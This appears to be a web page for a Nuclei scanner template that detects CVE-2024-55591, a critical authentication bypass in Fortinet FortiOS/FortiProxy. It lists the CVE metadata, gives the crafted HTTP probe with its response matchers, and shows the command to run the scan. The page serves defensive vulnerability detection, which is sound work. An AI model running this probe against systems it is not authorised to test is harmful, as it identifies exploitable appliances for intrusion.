Fortinet Authentication Bypass

ID: CVE-2024-55591

Severity: critical

Author: rootxharsh,iamnoooob,pdresearch

Tags: cve,cve2024,fortinet,disclosure,fortios,kev,intrusive

Description

Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.

YAML Source

id: CVE-2024-55591

info:
  name: Fortinet Authentication Bypass
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.
  reference:
    - https://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591/blob/main/CVE-2024-55591-PoC.py
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55591
    cwe-id: CWE-288,NVD-CWE-Other
    epss-score: 0.88415
    epss-percentile: 0.99475
    cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: fortiproxy
  tags: cve,cve2024,fortinet,disclosure,fortios,kev,intrusive

http:
  - raw:
      - |
        GET /service-worker.js?local_access_token={{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "api/v2/static"
          - "self.addEventListener"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/javascript"

      - type: status
        status:
          - 200
# digest: 490a0046304402202908e883a205708b461152ace87bcd25c59a8a67e8e83bf8a457dce0286420290220567fa55db9e87f39197f3a1524451f44763b4db469cb08a9fbce80a11ad713ac:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-55591.yaml"

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